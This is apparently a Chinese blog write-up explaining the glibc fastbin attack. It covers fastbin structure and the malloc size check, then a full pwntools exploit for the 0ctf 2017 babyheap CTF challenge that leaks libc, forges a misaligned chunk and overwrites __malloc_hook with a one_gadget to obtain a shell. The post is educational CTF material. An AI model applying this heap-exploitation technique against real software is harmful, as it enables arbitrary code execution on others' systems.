堆溢出学习之fastbin attack

0x01 基础知识

fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。

1
2
3
4
5
6
7
+---------|---------+
|prev_size| size |
|---------|---------|
| fd | bk |
|---------|---------|
| data |
+---------|---------+

fastbin为单链表,,fastbin为了快速分配回收这些较小size的chunk,并没对之前提到的bk进行操作,即仅仅通过fd组成了单链表而非双向链表,而且其遵循后进先出(LIFO)的原则。

0x02 利用方法

  1. 分配两个fastbin
  2. 利用堆溢出能够覆盖位于高地址的fd指针
  3. 构造伪chunk结构
  4. 进行分配达到任意地址写的目的
    1
    2
    3
    4
    5
    6
    #define fastbin_index(sz) \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
    ...
    if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
    {
    errstr = "malloc(): memory corruption (fast)";

因为检查中没有进行对齐处理。所以可以利用错位来构造一个伪size结构以实现fasbin attack

0x03 实例

0ctf2017 babyheap

利用

  1. 泄露libc库,该手法本文不多做介绍
  2. fastbin attack劫持程序流
    1
    2
    3
    4
    5
    6
    1.malloc fastbin1
    2.malloc fastbin2
    3.free fastbin2
    4.通过堆溢出修改fastbin2的fd指针
    5.重新malloc fastbin2覆盖malloc_hook
    6.修改hook指向one_gadget

需要注意的是libc在fastbin size还有一个检测,这个检测是:如果分配出来的chunk的size不属于这个fastbin,那么会出现memory corruption(fast) 的错误。
我们此处就是利用错位构造了伪chunk实例fastbin attack

1
2
3
4
5
6
gef➤ x/10x 0x7f3874b5fb10-0x20
0x7f3874b5faf0 <_IO_wide_data_0+304>: 0x00007f3874b5e260 0x0000000000000000
0x7f3874b5fb00 <__memalign_hook>: 0x00007f3874820e20 0x00007f3874820a00
0x7f3874b5fb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f3874b5fb20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f3874b5fb30 <main_arena+16>: 0x0000000000000000 0x0000000000000000

可以发现__memalign_hook的地址的第三个字节为0x7f,那么我们就可以利用错位来构造伪chunk,将fastbin2的fd指向malloc_hook-24-3-8

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug')
p = process('./babyheap')
libc = ELF('./libc.so.6')
def allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('ize: ')
p.sendline(str(size))
def fill(index,size,content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Content:')
p.send(content)
def free(index):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))
def dump(index):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: ')
data = p.recvuntil('1. Allocate')[:-(1+len('1. Allocate'))]
return data
def launch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])
def pwn():
allocate(0x60)#0
#leak libc
allocate(0x40)#1
payload1 = 'a'*0x60 + p64(0) + p64(0x71)
fill(0, len(payload1),payload1)
allocate(0x100)#2
#launch_gdb()
payload2 = 'b'*0x10 + p64(0) + p64(0x71)
fill(2, len(payload2), payload2)
free(1) #free chunk1
payload3 = 'a' *0x40 + p64(0) + p64(0x111)
allocate(0x60) #1
fill(1,len(payload3),payload3)
allocate(0x50)
free(2)# free chun2
#launch_gdb()
data = u64(dump(1)[-8:])
print hex(data)
bin_offset = 0x3c4b78
libc_base = data - bin_offset
#system_offset = 0x45390
#system_addr = libc_base + system_offset
#print hex(system_addr)
one_gadget = 0x4526a
malloc_hook = libc.symbols['__malloc_hook'] + libc_base
free(1)
payload4 = 'a'*0x60+ p64(0) + p64(0x71) + p64(malloc_hook-27-0x8) +p64(0)
fill(0, len(payload4), payload4)
launch_gdb()
allocate(0x60)
allocate(0x60)
#allocate(0x30)
payload = 'a'*19 + p64(libc_base + one_gadget)
fill(2, len(payload), payload)
allocate(0x20)
#
p.interactive()
if __name__ == '__main__':
pwn()
文章目录
  1. 1. 0x01 基础知识
  2. 2. 0x02 利用方法
  3. 3. 0x03 实例
    1. 3.1. 0ctf2017 babyheap
      1. 3.1.1. 利用
      2. 3.1.2. EXP